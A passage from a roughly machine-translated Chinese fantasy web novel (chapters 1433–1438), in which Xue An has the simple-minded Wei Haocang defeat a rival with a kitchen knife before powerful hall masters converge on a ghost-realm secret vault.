    Wei Yingying also showed a mocking smile when she heard the words, "Hehe, no wonder the white-clothed boy claims to be Wei Haocang''s teacher, so he is a cook!"


    It''s not just her that the entire Wei family is almost discussing this matter.


    For a while, the views are boiling, but one thing is well known to everyone.


    That is, Wei Qingxiao obviously has nothing to do and is on the brink of desperation.


    And at this moment, a mighty team was returning from the far away ghost realm.


    In the team, a huge ghost is slowly moving.


    This ghost is driven by many ghost races with sin marks on their faces. If it is a little slack, the person driving the car will wave the ghost whip and pull it straight down.


    This is the highest etiquette for the ghost world powerhouse when traveling, and it cannot be used by non-Hallmaster powerhouses.


    At this moment, a man sitting still in that ghost suddenly opened his eyes.


    Two deep cold rays pierced the sky and looked into the distance, and then he showed a meaningful sneer.


    "Wei Qing laughed, you dare to come back!"

 Chapter 1433： Im too lazy to fight with you

    At the same time, Wei Qingxiao, who was sitting still in the room, suddenly felt something in his heart, and suddenly opened his eyes, his face full of solemn expression.


    "Is this aura that you call Wei Yuhua?" A calm voice came.


    Wei Qingxiao was shocked and turned his head to look, only to see Xue An sitting on the railing on the second floor, looking up at the night sky with shining stars.


    Wei Qing was stunned with a smile.


    At this moment, Xue An lowered his eyes and smiled at her, "Is it?"


    Wei Qing laughed and regained consciousness, then took a deep breath, just about to speak.


    At this moment, a mighty motorcade suddenly appeared in the distant sky, and rushed toward the face with a black cloud over the city.


    In an instant, this convoy flew over the Wei family mansion.


    Then the whole Wei family boiled.


    "It''s the Third Young Master!"


    "The Third Young Master is back!"


    The screams came and went one after another.


    Wei Qingxiao''s complexion gradually became gloomy, because she could clearly feel that a powerful aura was taking shape in that ghost, and it was suppressing herself in all directions.


    Wei Qing laughed as if he had fallen into the quagmire, unable to focus at all, and could only slowly slide into the abyss.


    At this moment, Xue An, who didn''t know when to appear next to her, suddenly chuckled, "I don''t have much skill, but the formation is not small!"


    call!


    Although this sentence was an understatement, it seemed like a heavy hammer, and instantly defeated all the illusions in front of him.


    Wei Qing laughed and gasped, and the eyes of the ghost are full of infinite horror.


    Because she finally understood why she had fallen into such a situation.


    Everything is because this Wei Yuhua actually broke through the previous realm and became a strong man at the hall master level.


    Not only that, the momentum just now revealed an even more terrifying fact.


    That is, Wei Yuhua has obviously mastered a terrifying secret technique.


    These discoveries made Wei Qing laughed in shock, but ignored the fact that Xue An had just broken the illusion.


    But she ignored it, but Wei Yuhua among the ghosts did not.


    I saw him faintly.


    "Huh? It broke my illusion, who is this guy?"


    After stepping into the main realm of the temple, Wei Yuhua''s spirit was enough to cover the land in a radius of thousands of miles.


    He is confident, and there is no secret to hide under the shroud of his spiritual thoughts.


    Therefore, he can easily detect the existence of Xue An.


    But it was very strange that he could not detect anything unusual from Xue An''s body.


    It''s as if the sentence just now happened by accident, but it happened to break through the realm of illusion.


    But is it really such a coincidence?


    Wei Yuhua frowned slightly.


    at the same time.


    Wei Yingying could not wait to fly into the air, before arriving at the ghost, she shouted in a pretty voice: "Brother Brother, Yingying welcomes your return!"


    With that said, she fluttered and looked forward to her face.


    At this moment, she can''t wait to see Wei Yuhua, and then tell her own third brother about her grievances.


    Wei Yuhua''s spiritual thoughts swept across Wei Yingying''s slender body, and then revealed a hint of meaningful smile, and then walked away from the ghost.


    Wei Yingying hurriedly greeted me, and said softly, "Brother Brother, you are finally back! Uuuuu, when you are away, someone bullied me!"


    "Oh? Who dares to bully you?" Wei Yuhua stroked Wei Yingying''s cheek lightly, with a very ambiguous gesture.


    But everyone around them turned their faces, as if they hadn''t seen it.


    Wei Yingying was delighted in her heart, but the grievances on her face were more intense, and she raised her hand to the courtyard in the distance.


    "Who else can be our Miss Wei!"


    Wei Yuhua had naturally seen Wei Qingxiao in the courtyard in the distance and Xue An standing on the side.


    However, he who has always been proud will never show his purpose when he comes up, not to mention that now he feels that he has a chance to win, so he should enjoy the fun of teasing Wei Qingxiao.


    Thinking of this, Wei Yuhua couldn''t help but nodded slightly at Wei Qing in the distance, and then revealed a wicked smile.


    "Wei Qing laughed, you left without saying goodbye, I thought you were not coming back!"


    "This is my home, why don''t I come back?" Wei Qing smiled at this moment, already quickly adjusted his mentality, and said coldly.


    "Good point!" Wei Yuhua applauded and admired, then looked at Xue An aside with a playful look.


    "Who is this����."


    Before everyone could speak, Wei Yingying had already preemptively said: "Three brothers, don''t worry about this guy, he is just a cook!"


    "Cook?" Wei Yuhua was startled slightly.


    "Yes! This is a master chef specially invited by Miss Wei Family to teach Master Hao Cang''s cooking skills!" Wei Yingying said sarcastically.


    "Teach Wei Haocang''s cooking skills?"


    Wei Qing laughed and took a deep breath, "Yes, so what?"


    Wei Yuhua couldn''t help showing a very strange look on his face, and then nodded with a smile.


    "Of course it doesn''t have to be anything. It''s actually good to be a cook! Anyway, you can survive, right?"


    Wei Qing''s smile gradually darkened, "Wei Yuhua, what do you mean by this? Do you really think I want my brother to be a cook?"


    "Otherwise?" Wei Yuhua shrugged and said lightly.


    "Haha!" Wei Qing laughed suddenly in her eyes, and the current situation was obvious.


    After Wei Yuhua broke through to become a strong man at the hall master level, he almost gathered all the hearts of the Wei family, so their siblings were abandoned.


    But the problem is that no matter how strong Wei Yuhua is, as long as the passing order is not changed, then he can only be ranked third.


    But if you want to change the order of passing, you need all the elders of the family to be present.


    But now all the elders are not here, which can''t help but let Wei Qingxiao seize an opportunity.


    So she sneered and said: "Wei Yuhua, there is no need to lie between you and me. I know you want to replace Cang''er, but as long as he is still alive, you have to bow your head obediently! So..."


    "Do you dare to say those words just now again?"


    Wei Qing laughed loudly and questioned Wei Yuhua''s face changed slightly.


    But immediately, he sneered.


    "Wei Qing laughs, you are really naive to make people want to laugh! I am already a strong man at the hall master level, and your brother is just a fool. How does the family choose? Does this have to be asked?"


    "So what? You have to try it!" Wei Qing said with a deep smile, but it can be seen that she is already supporting herself.


    "Hahahaha!" Wei Yuhua laughed up to the sky, "Wei Qing laughed, I know what you are thinking, do you think that all the elders are not there, so find this excuse to delay time?"


    "I''m telling you, you were wrong! Because now I don''t even bother to fight with you for this so-called family business!"


    "Huh?" Wei Qing smiled for a moment.


    At this time, Wei Yuhua was full of excitement, "Because in the secret realm of the ghost world, a shocking secret place has been found. All the elders and many rich people have gathered there. Do you think I am still in the mood to talk to you? Come to fight for this?"

 Chapter 1434： Shocking secret

    oom!


    Wei Yuhua''s words seemed like a blockbuster, which caused an uproar in the audience.


    "What? A shocking secret hidden in the secret realm of the ghost world?" Someone said with horror.


    "No wonder all the elders in the family have been dispatched this time. It turns out that they went to the secret realm to find a secret!" Someone in the Wei family said excitedly.


    "If you want to say this, the three young masters really don''t have to fight for this so-called family property. After all, if you can get a shocking secret store, it will be enough to pave the way for a strong side, and even the king can expect it in the future!" Someone shook his head and sighed.


    Hearing this, many people''s eyes changed when they saw Wei Yuhua.


    Because that was the secret realm of the forbidden zone for the strong since the war that year!


    The Shocking Secret Treasure that appeared there is probably related to the fallen Mingjun.


    For thousands of years, there have been countless great powers in the ghost world, but if you talk about the strongest, you must belong to the fallen Master Ming.


    So if it is really the secret store he left behind, the value is simply inestimable.


    It is even possible that Wei Yuhua has the qualification to sprint Mingjun.


    Although it is only a qualification for promotion, this opportunity is already crazy enough.


    Because if divided according to the general strength among the heavens, the ghost emperor is equivalent to the cultivation base of the half-step immortal king, and the hall master level should correspond to the immortal king level, but because the threshold is too high, plus the past few thousand years Since then, the overall cultivation base of the Ghost Race has been slowly declining.


    So now the standard has been lowered, as long as one foot can step into the threshold of the immortal king, he can be called a strong man at the hall master level.


    Although this is only the strength of the fake fairy king, the fake fairy king is also the fairy king!


    But the Mingjun level is different, the Mingjun level is a real master of the immortal king, without any moisture.


    When you reach this state, you can even break away from the ghost world, open up a world on your own, and become a Buddha and your ancestor.


    Because relative to the vast heavens, the number of immortal kings is too small and too scarce.


    The root cause of all this is that since the promotion to the Immortal King, one must pass a checkpoint.


    This level has nothing to do with cultivation base and talent, only one word of fate.


    If the opportunity comes, you will naturally be promoted to the Immortal King smoothly, if not, then you will be in vain even if you try hard.


    Because of this, there are a large number of Da Luo in the heavens today, but the fairy king is obviously scarce.


    And if the Shocking Secret Vault in the secret realm is really related to the fallen Mingjun, then the chance is too great.


    Because the Mingjun who fell at the beginning is probably not an ordinary fairy king, but the peak of the fairy king, even half of the cultivation base of the fairy emperor.


    Otherwise, it is impossible to build the iron net mountain by oneself and block the ghost world from the heavens.


    At this point, many people''s faces changed.


    Because this incident is likely to be the biggest change in the ghost world since the fall of Mingjun, and it will even subvert all the previous interests and form a new round of reshuffle.


    The strong will fall, the newcomers will rise, the family will change, and the rich will change, all at this moment.


    No one can resist this temptation. Compared with this, the so-called Wei family struggle is really not worth mentioning.


    Just when the audience was completely boiling, Wei Qing laughed with a solemn expression like iron, his eyes were full of haze, and then he spoke slowly.


    "No wonder you can break through the realm in such a short period of time, this should be the reason for the secret hiding!"


    Wei Yuhua looked up to the sky and laughed, full of arrogance and pride in the laughter.


    "Yes, I did get a part of the heritage of that secret store, and not only that..."


    With the voice, Wei Yuhua''s eyes were instantly filled with the mysterious red color, and an extremely evil aura rose from his body, condensed into a ghost-headed human idol above his head.


    There are no facial features on the face of this idol, only a huge and strange eye.


    When they came into contact with the gaze of these eyes, a wave of complete despair and grief surged like a tide.


    Bang bang bang!


    In the blink of an eye, more than a dozen people with shallow cultivation level blew themselves up because of this extreme despair.


    The rest of the people were horrified and then retreated, exclaiming, "Don''t look into his eyes!"


    Wei Qing smiled pale, staring at Wei Yuhua, gritted his teeth and said: "The desperate eye, you actually awakened the power of blood?"


    Wei Yuhua smiled even more proudly.


    "Yeah! I didn''t expect it! When I was on behalf of the sky hunter and passed through the secret realm, I stumbled upon the place where the shocking secret was hidden. Although I only entered the periphery, I still got a strong inheritance, not only the cultivation base. Dajin, and awakened the power of the sleeping blood!"


    Speaking of this, Wei Yuhua looked at Wei Qing with a smile, his face full of mockery.


    "That''s why I am the real protagonist. I want to be a king! Wei Qing laughs, just rely on you, what do you use to fight me?"


    Wei Qing''s eyes gradually dimmed with laughter, like a candle with a dead lamp, slowly extinguishing.


    Yes!


    What should I fight with him?


    The strong master, the blood awakens!


    Collecting these two great weapons, Wei Yuhua is already the well-deserved first person in the Wei family.


    It is conceivable that those elders who only have interests in their eyes will definitely choose him without hesitation.


    I was defeated, and there was no suspense of defeat.


    Even if Wei Haocang is suddenly cured now, it is impossible to shake Wei Yuhua''s position.


    Seeing this scene, the smile on Wei Yuhua''s face grew stronger, and then she turned her head and said to everyone in the Wei family.


    "This time I am here to take everyone to the secret realm together to open that shocking secret place! Are you willing to go?"


    There was a violent commotion in the audience, and then the audience screamed.


    "I do!"


    "Three young masters, I am willing to serve you as my master. I only ask you to take care of me when opening the secret store!"


    "Three young masters, I am willing too!"


    The shouts came and went one after another, Wei Yuhua looked at it with a smile, a glimmer of pride flashed deep in his eyes, and then nodded.


    "Okay, don''t worry, I will take you there!"


    Having said that, Wei Yuhua looked at Wei Qingxiao again and said coldly: "Wei Qingxiao, I don''t make it difficult for you, as long as you kneel down and worship me as your master, I can give you and your brother a way out!"


    This sentence sounds high-sounding, but in essence it is extremely cruel.


    Because Wei Yuhua''s so-called worship of him is actually to make Wei Qingxiao his forbidden and plaything.


    From then on, she will perish forever, without any chance of turning over.


    The audience fell silent.


    Everyone looked at Wei Qing who was standing there with weird eyes.


    There was sympathy, disdain, and gloating among these eyes.


    Especially Wei Yingying The pride on her face is almost overflowing.


    Wei Qing smiled but his face was blank.


    This is the first time in her life that she feels lost.


    If she was the only one, then when facing Wei Yuhua''s threat, she would definitely choose to blew herself up without hesitation.


    But now it''s not just herself, but also her brother!


    Wei Qing laughed and understood that if he died now, then waiting for his stupid brother would be endless torture.


    That would be a punishment countless times more terrifying than death.


    So for the sake of her brother, she can''t die either.


    Could it be...I really want to kneel down and become a slave and become a plaything from now on? Wei Qing''s heart was dripping with blood.


    But at this moment, a slender and well-knotted hand gently touched Wei Qing''s shoulder.


    "Excuse me, are you finished?"

 Chapter 1435： Pinch the head and remove the tail, cut in the middle

    Ok?


    This sudden change caused all the eyes of the audience to instantly focus on Xue An.


    Wei Qing laughed in a daze, "You..."


    Xue An smiled faintly, "Okay, I have seen it all, isn''t it a palace master? It''s not a big deal!"


    hiss!


    Hearing this, many people secretly took a breath.


    No matter where the Hall Master level is strong, he is a powerful one, but in the mouth of this young man, he seems to be insignificant. How big is his tone?


    Wei Yuhua''s complexion gradually became gloomy, staring at Xue An, and sneered: "Boy, did you think about the consequences when you said this?"


    "Consequence?" Xue An shook his head, "You don''t deserve to talk to me about the consequences!"


    boom!


    If everyone was only secretly frightened just now, then this sentence is like pouring a scoop of cold water into the hot oil and completely exploding the pot.


    Wei Yuhua was even more angry and smirked, "Very well, it seems that someone who is not afraid of death wants to stand up for their brother and sister, I..."


    Xue An waved his hand and interrupted him, "You are wrong!"


    "Huh?" Wei Yuhua was startled.


    Xue An showed white teeth and smiled happily, "Who said I''m going to stand up for their siblings?"


    Now even Wei Qing laughed like falling into the fog of five miles, completely confused.


    At this time, Xue An turned to look at Wei Haocang who had been smirking, and said lightly: "Brother Haocang, someone is bullying your sister, what are you going to do?"


    As soon as this sentence came out, everyone in the audience almost burst into laughter.


    "My God, I thought this boy in white was going to do anything! I didn''t expect to ask a fool!"


    "Yeah! If he dares to head-on with the Third Young Master, I can still admire him, but now it''s unclear whether he wants Wei Haocang to die!"


    Wei Yuhua''s complexion also became very exciting, and he looked at the play with a playful expression on his arms.


    At this time, Wei Haocang''s face was still smiling, and he didn''t seem to understand Xue An at all.


    Many [Aiqi Novel Network] people even laughed out loud.


    Wei Yingying is the one who fears that the world will not be chaotic, and said with a smile: "What can he do? Of course it''s cold!"


    After that, he laughed.


    Wei Qing laughed a little expectantly at the beginning, but looking like this, the trace of hope in his heart finally turned into a sigh.


    Even a little laughed at himself.


    How stupid, I actually pin my hopes on my stupid brother!


    But even in this situation, Xue An remained unmoved, looked at Wei Haocang quietly, and then flipped his wrist, and a kitchen knife appeared in his hand.


    "Wow, what are you going to do? Do you perform cooking in public? Hahahaha!" Wei Yingying laughed even louder.


    Even the crowd burst into laughter.


    But no one noticed that when they saw this kitchen knife, a hint of clarity suddenly flashed in Wei Haocang''s hazy eyes.


    Xue An smiled slightly when he saw this, then handed the kitchen knife over and said lightly: "Take it!"


    Wei Haocang very obediently raised his hand and took the knife.


    As soon as Daofu started his hand, the blank expression on Wei Haocang''s face instantly converged, replacing him with infinite calmness.


    Then Xue An raised his hand to Wei Yuhua who was entrenched in the sky, and said leisurely: "Did you see it? That guy is bullying your sister! What are you going to do?"


    "Do!" Wei Haocang''s face was flushed with excitement.


    But none of the people here took this seriously, and instead laughed louder.


    Because the current Wei Haocang didn''t even have a trace of aura fluctuations in his body, just like a mortal, how could it have shaken the Palace Master-level Wei Yuhua.


    Xue An nodded, "Very good! Remember, you treat him as the rutabaga you usually cut, cut the head and tail, and cut it open! Understand?"


    Wei Haocang nodded.


    "Go!" Xue An patted Wei Haocang on the shoulder, and a faint sword intent fell into Wei Haocang''s body.


    With this sword intent, Wei Haocang rose to the sky, carrying a kitchen knife and heading straight to Wei Yuhua.


    This picture is funny and almost ridiculous.


    On one side is the Wei Yuhua motorcade, which dominates most of the sky with imposing majesty, and on the other side is a fool with a lack of intelligence and a kitchen knife in hand!


    In contrast, many people pronounced Wei Haocang''s death sentence in their hearts without even looking straight.


    Wei Qing laughed even more exclaimed, "Cang''er!"


    Then she turned her head and stared at Xue An viciously, and roared: "What the **** are you doing?"


    Xue An spread his hands, "I didn''t do anything, isn''t this helping you!"


    "Then you let Cang''er go to die?" While talking, Wei Qing laughed tears from his eyes, and then condensed his cultivation base, and wanted to fly up to save his brother.


    But she also knew that hope was very slim.


    Because at this moment, Wei Haocang had already rushed to the sky.


    Before Wei Yuhua could take any action, Wei Yingying, who was eager to express himself, screamed, "Wei Haocang, since you want to die so, I will send you on the road today!"


    With that, she waved her sleeves, and her whole person instantly turned into a gust of wind, and began to spin around Wei Haocang.


    At the speed of a ghost, Wei Yingying''s triumphant laughter.


    But even in this situation, Wei Haocang didn''t even blink his eyelids, raising his hand and slashing it off.


    puff!


    This knife was originally slashed above the void, but I don''t know what happened, just at this moment, Wei Yingying''s figure also arrived.


    When feeling the light of the sword in the body, Wei Yingying couldn''t help but screamed and tried to avoid it, but the timing of the sword was really at the peak in seconds, so Wei Yingying was shocked to find that he had no time to hide.


    But in an instant she calmed down, and at the same time laughed at herself for being timid.


    It''s just an iron chopper. Even if you don''t move, you can''t even hurt yourself, so what can you do if you cut it.


    But this thought of her just came up, and then it solidified.


    Because at this moment, I only heard a muffled sound.


    The chopper was almost at its peak and cut straight past With blood spattering, Wei Yingying was in a different place directly!


    The yin wind dissipated.


    Only Wei Yingying''s headless body stood tall in the sky.


    As for Wei Yingying''s head, it had fallen to the ground, and after a few wriggling, it finally turned into a pool of blood.


    The whole audience could hear the sound of breathing quietly.


    Immediately afterwards, Wei Yingying''s body fell. In the midair, a little black light broke free from her cavity, screaming and flew behind Wei Yuhua, and then revealed a thin and transparent figure.


    It was Wei Yingying who had left the human body and only the ghost body was left!


    One knife!


    Wei Yingying was cut off the human body, leaving only the ghost.


    This time, the audience was shocked.


    Many people who were waiting to see the joke have their mouths closed.

 Chapter 1436： All cause and effect, there should be an end...

    Especially the people who looked down on Wei Haocang in all manners before were even more confused.


    How is this going?


    Could it be that this young master Wei is not a waste of firewood, but a hidden powerhouse?


    Then why at this moment, there is no slight fluctuation in his body?


    At the same time, Wei Yuhua''s complexion also changed.


    With his cultivation base, his vision is naturally far superior to others, so he barely saw the clues of the cut just now.


    That''s right!


    At this moment, Wei Haocang was still just an ordinary person, with no cultivation base on his body.


    The reason why Wei Yingying''s head can be cut off is because of his perfect control of the sword.


    That seemingly inconspicuous knife, whether it is the angle of the knife or the speed of the timing, has reached the point of perfection.


    Regardless of the side, just with this sword technique, it is enough to shock the world.


    But the more so, the more gloomy Wei Yuhua''s complexion is.


    He had never put Wei Haocang in his eyes before. If it were not for Wei Qing''s smile, he would not even bother to look at this fool.


    But now, he felt a slight threat from Wei Haocang.


    This feeling is faint, but extremely real.


    Because of this, Wei Yuhua''s heart boiled with a bit of murderous intent.


    He doesn''t like this feeling, so he wants to wipe out all threats invisible now.


    But just as he was about to start his hands, a thunderbolt passed from the sky, and then a black light flew in front of Wei Yuhua in a thunderous force.


    He took a look, his expression suddenly changed, and then he took a deep breath.


    "Everyone obeys the orders, and quickly follow me to the secret realm!"


    After all, he didn''t care about dealing with Wei Qingxiao''s sister and brother, turned around and hurried away!


    And following his order, many powerful men in the Wei family mansion were ecstatic, and they rose to the sky, followed Wei Yuhua''s motorcade, and disappeared without a trace in an instant.


    From beginning to end, no one paid any attention to Wei Qingxiao''s brother and sister.


    After all, for people like them, nothing is more important than secret hiding.


    As for what the giants fight, in front of this is completely nonsense.


    So in a moment, apart from some of the servants left behind in the Wei family''s mansion, only the Wei brothers, Xue An and others were left.


    Wei Haocang fell back to the ground.


    Wei Qing smiled and rushed up immediately, holding his brother''s hand with great distress, "Cang''er, are you okay!"


    Xue An took the kitchen knife in Wei Haocang''s hand casually and smiled faintly, "Do you think he is in trouble?"


    really.


    When the knife left his hand, Wei Haocang''s expression immediately returned to the way he was before, looking at Wei Qing with a smirk.


    But somehow, after seeing this familiar smile, Wei Qingxiao actually felt a sense of peace of mind.


    "It''s all right, it''s all right!" Wei Qing laughed softly.


    At this time, Xue An waved his hand, and the ghost wing that Wei Qing laughed slowly flew up, and then came in front of everyone.


    "Let''s go!" Xue An said lightly.


    "What are you doing?" Wei Qing smiled before waking up from the shock just now, and couldn''t help asking in a daze.


    "Of course it''s going to the Secret Realm!" Xue An smiled mysteriously, "So a big secret place appeared, don''t you want to go see the excitement?"


    "But..." Wei Qingxiao suddenly hesitated.


    To be honest, she was scared!


    Not afraid of death!


    But I am afraid that my brother will have three shortcomings.


    So now she just wants to take her younger brother out of here, the farther the better, and ignore these giants'' fights!


    Xue An naturally saw her thoughts and couldn''t help but sighed, "Do you think that if this secret place is acquired by Wei Yuhua, when he cultivates to become a master, can you still go?"


    Wei Qing laughed in shock.


    Xue An said indifferently: "And your brother shouldn''t agree! Let''s go! All cause and effect... There must be a time to end!"


    Just as Xue An was leading the Wei''s brother and sister, driving the ghosts on their way, the news that shocking the sky was found in the secret realm also swept the entire central ghost world at a hurricane-like speed!


    This news is simply explosive!


    Everyone knows the importance of secret hiding, and it can be said that one secret hiding is enough to create a rich family.


    What''s more, the place where the secret hideout appeared this time was the secret realm of the previous war.


    All this has cast a layer of mystery in this secret place.


    As a result, almost all the giants were moved by the wind, vying to send the strongest combat power, trying to get a share of this dispute.


    In contrast, the short fight that took place before the Wei family did not attract anyone''s attention.


    No one even paid any attention to the ghosts who were rushing slowly behind them, but they rushed to the eastern secret realm at the fastest speed.


    In the end, even Wei Qingxiao couldn''t help it.


    "Mr. Xue, since we are going to the secret realm, why are we so slow and not in a hurry?"


    "What are you doing in a hurry? It''s not too late for a good show, and do you think you can get a little cheaper if you go early?"


    "but����."


    Xue An waved his hand and looked at the flying roars that roared past the porthole, and said lightly: "Don''t worry, those who are rushing now are all small shrimps, the real big fish hasn''t moved yet!"


    "The real big fish?" Wei Qingxiao suddenly thought of something, his face changed, "You mean..."


    Xue An said indifferently: "How can such a feast be without those palace masters who guard the place of punishment?"


    really.


    As Xue An had guessed.


    When this news reached the ears of the Ten Great Hallmasters in the Land of Punishment, there was an uproar immediately.


    "The secret hiding place in the land of Mingjun''s fall? There is probably the secret to advance to Mingjun! My future lies in this one action, so this secret hiding place, I have to decide!"


    With a wild laugh, a figure rushed up in the extreme cold hell, and disappeared into the sky after a few flashes It was the extreme cold emperor, inducing the cold!


    "Hehe, the guy who urges the cold also wants to fight with me? Then I will let you know how powerful my Blood Prisoner is!"


    In the boundless blood realm, the blood prison emperor also followed, and came to the secret realm immediately afterwards.


    For a time, the sky above the Land of Punishment was full of brilliance, and the space fluctuated endlessly. That was the scene left by the great hall masters rushing to the secret realm.


    In the land of lava, Rong Yang gradually frowned as he watched the news.


    "Mingjun''s secret store... Haha, Mingjun has fallen for so long, why did he appear at this time?"


    "My lord, Meng Palace has just replied that she will not be involved in this matter, so please let the king do it yourself!" A ghost clan reported.


    Rong Yang''s complexion sank, and finally he sighed slightly, "Forget it, I know she won''t go! Whatever it is, no matter what strangeness is revealed in this matter, I have to check it out!"


    After that, he also turned into a flame and disappeared from the throne.

 Chapter 1437： Broken place

    The desert city, in the flower hall.


    The flowing water under the small bridge ding ding dong dong dong, adding a rare vapor to this city built in the depths of the endless desert.


    As usual, Meng Yao leaned on the railing, staring at the exquisite courtyard in a daze.


    Donghan stood quietly not far behind her, trying to say something several times, but finally swallowed it back.


    At this moment, Meng Yao suddenly sighed faintly, "Mingjun secretly...no wonder that the little guy from the Wei family was suddenly promoted to the palace master level. That''s why!"


    Donghan finally found a chance to speak, and hurriedly bowed his head and said: "Yes! And now the other nine hall masters in the place of punishment have all been dispatched! Hall master, shall we go there too?"


    "Go? Why are you going?" Meng Yao said, grasping the railing with both hands, and protruding two straight and slender legs, delicate feet that looked like works of art gently fiddled with the surface of the stream.


    The scene at this moment made Donghan a little distracted, because Meng Yao at this moment was like a little girl playing in the water, except that he was not like a strong palace master guarding one side.


    "But all the hall masters have gone, and even all the giants in the entire central ghost world have heard the news. If they really get any benefits from this secret hiding, then we..."


    Donghan didn''t say the following words, but the meaning was already obvious.


    The endless desert itself is in a disadvantaged position, and Meng Yao''s strength is ranked last among the top ten palace masters in the land of punishment.


    If you are not determined to make progress this time, if you are benefited by other hall masters, wouldn''t the situation be more passive?


    Meng Yao naturally heard Donghan��s concern and couldn��t help but shook his head and chuckled, ��Hold winter, you��re good everywhere, but you��re too calm when things happen! This incident seems to you or many people to be a golden opportunity. But in my opinion, it is the opposite!"


    Speaking of this, Meng Yao gently kicked and splashed the water, and said faintly: "It''s not a day for King Ming to fall, and the secret world of war has already existed, but why has there been no news about the secret hiding of King Ming before? , But suddenly appeared?"


    Donghan''s expression changed, "You mean...this is a trap?"


    Meng Yao shook her head, "I didn''t say that, but this incident does reveal an unusual thing, so I am not interested in going to this muddy water!"


    Donghan nodded convincingly, "Hall Master really understands Qiuhao, Donghan is reckless!"


    "Get out! Just remember to pay close attention to this matter! Don''t act rashly!"


    "Yes!"


    After the winter cold receded, Meng Yao raised her head and let out a sigh of recollection in her eyes, "Ms. Ming...If you count it down, even you have been dead for a long time!"


    Speaking of this, Meng Yao looked sad, "At first you had the best relationship with adults, but now you have fallen and disappeared!"


    "But I have never believed that a strong soul like you will really fall, just as I don''t believe that adults will really no longer appear!"


    "I am here, waiting for your return!"


    Even so, Meng Yao''s eyes were full of sadness, and with her mood, the creek was instantly frozen, and snowflakes floated in the small courtyard.


    Donghan occasionally felt something, turned his head to look in the direction of Hua Ting, but in the end he could only sigh lightly and turned away.


    The secret realm is located in the eastern part of the central ghost realm. There are mountains and ridges all over the place. Its vastness extends for tens of thousands of miles.


    But because the battle was so tragic, there are all kinds of unfathomable cracks in this lofty mountain range, and some even uprooted the unfathomable peaks, leaving only one bottomless abyss after another. .


    These huge fissures were exposed, just like wounds on the earth, silently telling the fierce battle situation.


    And this time the secret hiding place is located in the center of the original war.


    The sights I saw along the way made the atmosphere in the ghosts a little silent.


    Especially Wen Mu Ling, the anger and sadness in her eyes almost ignited her.


    This is where Lord Mingjun fought before! It''s all because of those despicable and shameless giants, so the great talents of my family will be besieged and eventually fall here. This hatred is not shared!


    Wen Mu Ling was secretly ruthless, but Xue An looked at everything outside the porthole with an unmoving expression.


    It wasn''t until a long time later that he narrowed his gaze and said lightly: "Here!"


    really!


    There are countless ghosts and shadowy cars appearing in the distance, so many that they even cover the entire sky like dark clouds.


    But even so, you can still see the weirdness of the piece hidden in it.


    The space in the center of the ancient battlefield is like a mirror that has been pieced together after being broken. It is combined together in pieces and refracts the light passing by, making everything weird, but full of weird beauty. .


    But no matter how beautiful the scenery is, these giants are hiding far away, not daring to cross Lei Chi for half a step.


    Because they know that those seemingly delicate and beautiful scenery actually hide the deepest murderous intent.


    If you are not careful, you may die here.


    So no one dared to step forward.


    But no one was willing to leave, instead they all looked ahead greedily.


    Because just in this broken land, a looming door emerged.


    This door is fragmented by these spaces, but it still floats in the air intact, and it is like breathing, extinguishing brilliance.


    With such a strange sight, Wei Qing laughed and couldn''t help clenching his fists secretly, and breathing quickly.


    Is this the secret treasure of Mingjun in the rumor?


    Xue An and their arrival did not attract anyone''s attention.


    Because at this moment, everyone''s eyes are focused on the Wei family standing in the front.


    Those who can appear here are naturally the elite of the Wei family.


    Family worship, major elders, and even Wei Jinglong, the head of the Wei family, are among them.


    But now everyone in the Wei family is surrounded by a single person like stars and moons.


    It is Wei Yuhua!


    At this moment, Wei Yuhua, with a proud face, was discussing something with Wei Jinglong beside him in a low voice.


    People are also whispering, and some people can''t resist the excitement in their eyes, and eagerly want to open the secret store as soon as possible to enter it in order to gain benefits.


    At this moment.


    Suddenly, a bright black light appeared in the sky in the distance, and then rushed straight forward with the force of wind and thunder.


    In an instant, these black lights appeared in the field.


    When Guanghua dissipated, there were nine men.


    The appearance of these nine people caused a violent commotion in the audience.


    "It''s the Lords of the Land of Punishment!" someone exclaimed.


    "They are here too! This secret Vault does not have our share of ordinary families!" Someone lamented.


    Even the Wei family, who led the opening of this secret collection, was in a slight uproar, including Wei Jinglong, with a solemn expression on his face.


    Only Wei Yuhua''s expression remained unchanged, and even a trace of pride appeared in the depths of his eyes.


    "Wei Yuhua, the son of the Wei family, has seen all the hall masters!"

 Chapter 1438： Evil Legion

    now.


    The nine hall masters were all looking at the gate that emerged in the Broken Ground.


    When he heard Wei Yuhua''s words, Emperor Jihan, who was covered with cold light, turned his head and glanced at him, then laughed strangely.


    "Boy Wei, did you discover this secret place first?"


    Wei Yuhua nodded, "Yes, it is the junior!"


    The Blood Prison Emperor looked at Wei Yuhua with two eyes, then snorted coldly, "It''s a good chance, I actually broke through to the Hallmaster level!"


    A flash of coldness came and Wei Yuhua came close, staring at Wei Yuhua with extremely cold eyes, and said coldly: "Boy, is this broken place accessible to you? How did you enter the secret hiding place? Give it to me. To be honest!"


    Huh!


    All eyes were focused on Wei Yuhua, and many people showed eagerness and greed on their faces.


    Wei Jinglong''s face sank, and when he winked with the elders, he wanted to get up.


    But at this moment, Wei Yuhua laughed.


    "Master Emperor Mingjian, of course it is impossible to really open the secret store with my strength. Last time, I only gained a trace of inheritance by a coincidence! But this time I have a way to completely open this secret store!"


    "Oh? How to open it, let''s hear it?" The Blood Prison Emperor rushed over too impatiently.


    Several other hall masters, including the lava lord Rong Yang, also looked solemn.


    Wei Yuhua raised his hand to the broken place, and said lightly: "Presumably you have already seen it, this gate that emerged in the broken place is the entrance to the secret hiding!"


    "If you want to enter it, the only way is to open the broken ground!"


    "Open the Broken Ground?" Chilling startled.


    "Yes! To put it bluntly, it means to correct the chaotic time and space here again. By then, this secret hidden place will naturally open!" Wei Yuhua said with a smile.


    "Bridging the space?" Cui Han shook his head, "This is not what I can do with the strength, at least it must be a real Immortal King powerhouse!"


    Everyone can''t help nodding their heads.


    In order to bridge the time and space, the strength required is terrifying. Although these palace masters call themselves emperors, there is still some self-knowledge!


    Wei Yuhua chuckled, "Of course not alone, but what if all the palace masters and I wait for the rich to do it together?"


    This sentence made many people''s eyes bright.


    But these hall masters all frowned.


    The blood prison emperor even sneered, "Boy, you are really courageous, you actually counted on us!"


    "The junior dare not, what I said is just a fact. If you are not willing, then I can''t help it, but everyone can only watch and hide in front of you, but can''t get it!" Wei Yuhua said with a calm expression. .


    His words naturally spread to Xue An''s side.


    Wei Qing smiled and frowned, looking at Wei Yuhua in a puzzled manner.


    Because in her impression, although Wei Yuhua has a little cleverness, it is nothing more than cleverness.


